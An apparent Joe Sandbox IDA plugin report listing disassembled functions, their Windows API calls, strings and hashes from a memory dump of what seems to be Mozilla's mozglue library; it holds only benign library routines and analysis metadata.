Download Yara Rule

APIs

Part of subcall function 6CBFFA80: GetCurrentThreadId.KERNEL32 ref: 6CBFFA8D
Part of subcall function 6CBFFA80: AcquireSRWLockExclusive.KERNEL32(6CC4F448), ref: 6CBFFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC06727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CC067C8

Part of subcall function 6CC14290: memcpy.VCRUNTIME140(?,?,6CC22003,6CC20AD9,?,6CC20AD9,00000000,?,6CC20AD9,?,00000004,?,6CC21A62,?,6CC22003,?), ref: 6CC142C4

Strings

data, xrefs: 6CC06593

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 158195fde24df868bc8c6b1f28c0a16350f1ee84d6010f26db2956ff17df160f
Instruction ID: 6992aed164a47ea4f5a4604f7e6b5d00ab84d2f93f77d945ba2733ee7586b0f2
Opcode Fuzzy Hash: 158195fde24df868bc8c6b1f28c0a16350f1ee84d6010f26db2956ff17df160f
Instruction Fuzzy Hash: BFD1BD75A087408FD724DF25D851B9FB7F5AFC5308F10892DE48987B51EB31A889CB92

Function 6CBFD5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CBCEB57,?,?,?,?,?,?,?,?,?), ref: 6CBFD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CBCEB57,?), ref: 6CBFD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CBCEB57,?), ref: 6CBFD673
free.MOZGLUE(?), ref: 6CBFD888

Strings

|Enabled, xrefs: 6CBFD81E

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 82f60574fc1e083398b254e0cbb4cc7c81307ea5e1917fe6ce5b7f834102049c
Instruction ID: 4fffcbf2328eb2085490b3a32b8479298e98ac517fbdc076dafe507fb7209a41
Opcode Fuzzy Hash: 82f60574fc1e083398b254e0cbb4cc7c81307ea5e1917fe6ce5b7f834102049c
Instruction Fuzzy Hash: 4AA1F670A003889FDB11CF79D4907AEBBF1EF49318F14815CD8A96B741D735A94ACBA2

Function 6CBFF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CBFF480

Part of subcall function 6CBCF100: LoadLibraryW.KERNEL32(shell32,?,6CC3D020), ref: 6CBCF122
Part of subcall function 6CBCF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CBCF132

CloseHandle.KERNEL32(00000000), ref: 6CBFF555

Part of subcall function 6CBD14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CBD1248,6CBD1248,?), ref: 6CBD14C9
Part of subcall function 6CBD14B0: memcpy.VCRUNTIME140(?,6CBD1248,00000000,?,6CBD1248,?), ref: 6CBD14EF

Part of subcall function 6CBCEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CBCEEE3

CreateFileW.KERNEL32 ref: 6CBFF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CBFF523

Strings

\oleacc.dll, xrefs: 6CBFF4CB

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 426e4ea76f4f508490ef690f8aa37ea323251f28404334c72258d46516a3c34f
Instruction ID: dfb2326d86933a4a4b40eb3d620202b4890d0f22304cac7f00b38fc91ee65075
Opcode Fuzzy Hash: 426e4ea76f4f508490ef690f8aa37ea323251f28404334c72258d46516a3c34f
Instruction Fuzzy Hash: ED41BF306087909FE721DF68C984A9FB7F4EF84318F104A1CF5A483650EB34E94ACB92

Function 6CC274A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CC27526
__Init_thread_footer.LIBCMT ref: 6CC27566
__Init_thread_footer.LIBCMT ref: 6CC27597

Strings

kernel32.dll, xrefs: 6CC27557
UnmapViewOfFile2, xrefs: 6CC27552

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 074981c5ae050023ea4a1d044ffc516619a5013bbd98910eb9539aa9f7717014
Instruction ID: 34626e8aecfdcf376813d149b1413604bac69d634b35eda53b6f4ab6aa609acd
Opcode Fuzzy Hash: 074981c5ae050023ea4a1d044ffc516619a5013bbd98910eb9539aa9f7717014
Instruction Fuzzy Hash: B321F531700501ABDB14AFE9C894E5A7375EB8632DF05C528D80597F40FB2DA846CB91

Function 6CC2C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CC2C0E9), ref: 6CC2C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CC2C437
FreeLibrary.KERNEL32(?,6CC2C0E9), ref: 6CC2C44C

Strings

ntdll.dll, xrefs: 6CC2C413
NtQueryVirtualMemory, xrefs: 6CC2C431

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 2dcc115fb778b6dbfbfabbd351a732e704cbfca1bcae35971b9d1f5a5227a796
Instruction ID: 391e24b034015d5819f3bca817b2c113aecf36c987808bcb6ec87efe66e6ad83
Opcode Fuzzy Hash: 2dcc115fb778b6dbfbfabbd351a732e704cbfca1bcae35971b9d1f5a5227a796
Instruction Fuzzy Hash: F3E0B670A057019FEF00BFB6CD18B167FF8A74724CF00D516AA0499A41EBB4C4008B50

Function 6CC275B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CC2748B,?), ref: 6CC275B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CC275D7
FreeLibrary.KERNEL32(?,6CC2748B,?), ref: 6CC275EC

Strings

ntdll.dll, xrefs: 6CC275B3
RtlNtStatusToDosError, xrefs: 6CC275D1

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 80b4abc5e50e9f0354caa4c25b62c2f503d7f5f6c30063990cc7cffebde1a4ce
Instruction ID: ee24843be3b45500ebcee7c9078337c9fe669c95cfa4d2b963dfeee0c81c1d9c
Opcode Fuzzy Hash: 80b4abc5e50e9f0354caa4c25b62c2f503d7f5f6c30063990cc7cffebde1a4ce
Instruction Fuzzy Hash: B3E0B671605702AFEF00BFA6C898B05BEF8EB4721CF10D025A905D1641EBFC8491CF11

Function 6CC27600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CC27592), ref: 6CC27608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CC27627
FreeLibrary.KERNEL32(?,6CC27592), ref: 6CC2763C

Strings

ntdll.dll, xrefs: 6CC27603
NtUnmapViewOfSection, xrefs: 6CC27621

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 0be692bb6a7ed2486722720085590669b19f3e00680899e3384668705ae97a88
Instruction ID: 5c72500f44fe979340c15b53e0f439e90944202906aac036d0b6aa957ed5f199
Opcode Fuzzy Hash: 0be692bb6a7ed2486722720085590669b19f3e00680899e3384668705ae97a88
Instruction Fuzzy Hash: 98E0B6B4605701AFDF00BFA6C858B057EB9E75A35DF11C115E905D1741EBB8C410CF14

Function 6CC2BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CC2BE49), ref: 6CC2BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CC2BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CC2BE49), ref: 6CC2BF38
RtlReAllocateHeap.NTDLL ref: 6CC2BF83
RtlFreeHeap.NTDLL(6CC2BE49,00000000), ref: 6CC2BFA6

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 28179c5ad38a69262b6e805428f385e9ed7fc0428f3178f92097356b99ace23a
Instruction ID: 1288850ea9a3978a9da7c5281c37f6e80160ce7d0f80abeba641182913b78c3f
Opcode Fuzzy Hash: 28179c5ad38a69262b6e805428f385e9ed7fc0428f3178f92097356b99ace23a
Instruction Fuzzy Hash: 34519375A002158FE724CF69CD90B9AB3B2FF88314F294639D556A7B54E734F9068B80

Function 6CC18E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CC0B58D,?,?,?,?,?,?,?,6CC3D734,?,?,?,6CC3D734), ref: 6CC18E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CC0B58D,?,?,?,?,?,?,?,6CC3D734,?,?,?,6CC3D734), ref: 6CC18EBF
free.MOZGLUE(?,?,?,?,6CC0B58D,?,?,?,?,?,?,?,6CC3D734,?,?,?), ref: 6CC18F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CC0B58D,?,?,?,?,?,?,?,6CC3D734,?,?,?,6CC3D734), ref: 6CC18F46
free.MOZGLUE(?,?,?,?,6CC0B58D,?,?,?,?,?,?,?,6CC3D734,?,?,?), ref: 6CC18F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CC0B58D,?,?,?,?,?,?,?,6CC3D734,?,?,?), ref: 6CC18F8F

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 45fc883188e0113ca861c9f4e288b026508581c2c1785ea324901d513d63c2ff
Instruction ID: 6bed57d4db2da0f4a2e507e5b57ef7e1ff95e5c86d35b515b50f5e1eeb1baf71
Opcode Fuzzy Hash: 45fc883188e0113ca861c9f4e288b026508581c2c1785ea324901d513d63c2ff
Instruction Fuzzy Hash: 6A51E9B5A092158FEB10CF59D880B6E73B2FF45308F16452AD916ABB40F731F905CB91

Function 6CBC4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CBC4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CBC4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBC4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CBC4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CBC4F1E

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: cd81b5fa7782d264d55f5c30f2d7f68f2a2144da570c99098b656d58269fd2bc
Instruction ID: 73f1d3cc297bbe050ee59d592f8e8640e89ed4b980b5bb0034895e0fc19f5d77
Opcode Fuzzy Hash: cd81b5fa7782d264d55f5c30f2d7f68f2a2144da570c99098b656d58269fd2bc
Instruction Fuzzy Hash: 2541BF716047869FC705CF29C4809ABBBE4FF89354F118A2DF46987A41D770EA58CB92

Function 6CBD1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CBD152B,?,?,?,?,6CBD1248,?), ref: 6CBD159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CBD152B,?,?,?,?,6CBD1248,?), ref: 6CBD15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CBD152B,?,?,?,?,6CBD1248,?), ref: 6CBD15E7
free.MOZGLUE(?,?,?,?,?,?,6CBD152B,?,?,?,?,6CBD1248,?), ref: 6CBD1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CBD152B,?,?,?,?,6CBD1248,?), ref: 6CBD1637

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 1835b0f92267ac747150a7f6c6178dae905b7355a1497c514e01036ce4da5f28
Instruction ID: ba008e5deb98ad2c4d2a33d011dd83ebf93591d6d0affcff086ef819ce641088
Opcode Fuzzy Hash: 1835b0f92267ac747150a7f6c6178dae905b7355a1497c514e01036ce4da5f28
Instruction Fuzzy Hash: C531D672A001548BC7188E78D85046E77A9FB8537872E0B6DE827DBBD4EB30F9048792

Function 6CC2AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CC3E330,?,6CBEC059), ref: 6CC2AD9D

Part of subcall function 6CBDCA10: malloc.MOZGLUE(?), ref: 6CBDCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CC3E330,?,6CBEC059), ref: 6CC2ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CC3E330,?,6CBEC059), ref: 6CC2AE01
GetLastError.KERNEL32(?,00000000,?,?,6CC3E330,?,6CBEC059), ref: 6CC2AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CC3E330,?,6CBEC059), ref: 6CC2AE3D

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: cb702d44d8254736f6474c66f78d093f6c6fe89a8ccccd24d9d633e66b4c1bb2
Instruction ID: 8b980ff7be9b3bb20574964e63d2c6cb6048e5e3a3cfff4ba7a673bf9656a28b
Opcode Fuzzy Hash: cb702d44d8254736f6474c66f78d093f6c6fe89a8ccccd24d9d633e66b4c1bb2
Instruction Fuzzy Hash: 1B3123B19002159FD710DF759D44AAFB7F8EF89614F158869E85AE7700F7349805C7A0

Function 6CC25EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CC3DCA0,?,?,?,6CBFE8B5,00000000), ref: 6CC25F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CBFE8B5,00000000), ref: 6CC25F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CBFE8B5,00000000), ref: 6CC25F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CBFE8B5,00000000), ref: 6CC25F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CBFE8B5,00000000), ref: 6CC25FD6

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: fe59c1e327b0750fd29bb9da5284b21892f9b1ad446b993cd31ff4b924459da8
Instruction ID: cf0fc181ce7a37d449378cc057f3ffea249fa4395c905bb0f8337997f8c3eeaf
Opcode Fuzzy Hash: fe59c1e327b0750fd29bb9da5284b21892f9b1ad446b993cd31ff4b924459da8
Instruction Fuzzy Hash: 52310E34300A008FD724DF29C898E2BB7F9FF89319BA48598E55687B99D735EC41CB80

Function 6CBCB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CBCB532
moz_xmalloc.MOZGLUE(?), ref: 6CBCB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CBCB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CBCB57E
free.MOZGLUE(00000000), ref: 6CBCB58F

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 5f00a60af4aa2b76a8444f2c597d147103e9d8bf383091fe948302633f22705a
Instruction ID: d4b8fbe34fd824962e344e1b48e908815c9b3459a12920229c212834087b0f8d
Opcode Fuzzy Hash: 5f00a60af4aa2b76a8444f2c597d147103e9d8bf383091fe948302633f22705a
Instruction Fuzzy Hash: 9221EA71B002459BDB009F64CC50B6EBBB9FF85318F244129E918DB351E776DD15CBA2

Function 6CC26E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CC26E78

Part of subcall function 6CC26A10: InitializeCriticalSection.KERNEL32(6CC4F618), ref: 6CC26A68
Part of subcall function 6CC26A10: GetCurrentProcess.KERNEL32 ref: 6CC26A7D
Part of subcall function 6CC26A10: GetCurrentProcess.KERNEL32 ref: 6CC26AA1
Part of subcall function 6CC26A10: EnterCriticalSection.KERNEL32(6CC4F618), ref: 6CC26AAE
Part of subcall function 6CC26A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CC26AE1
Part of subcall function 6CC26A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CC26B15
Part of subcall function 6CC26A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CC26B65
Part of subcall function 6CC26A10: LeaveCriticalSection.KERNEL32(6CC4F618,?,?), ref: 6CC26B83

MozFormatCodeAddress.MOZGLUE ref: 6CC26EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CC26EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CC26EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CC26EFF

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 5b2b867bed542849526755f0afa4b2499a62bac766514e781bde590a339e72e8
Instruction ID: c93af2524e524225c19a6073d05bcae11074abd348fbcbfb503fce9da14051ba
Opcode Fuzzy Hash: 5b2b867bed542849526755f0afa4b2499a62bac766514e781bde590a339e72e8
Instruction Fuzzy Hash: BC21A171A0421A9FDF10DF69D88569E77F5FF84308F048079E80D97341EB749A598FA2

Function 6CC276C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CC276F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CC27705

Part of subcall function 6CBDCA10: malloc.MOZGLUE(?), ref: 6CBDCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CC27717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CC2778F,00000000,00000000,00000000,00000000), ref: 6CC27731
free.MOZGLUE(00000000), ref: 6CC27760

Memory Dump Source

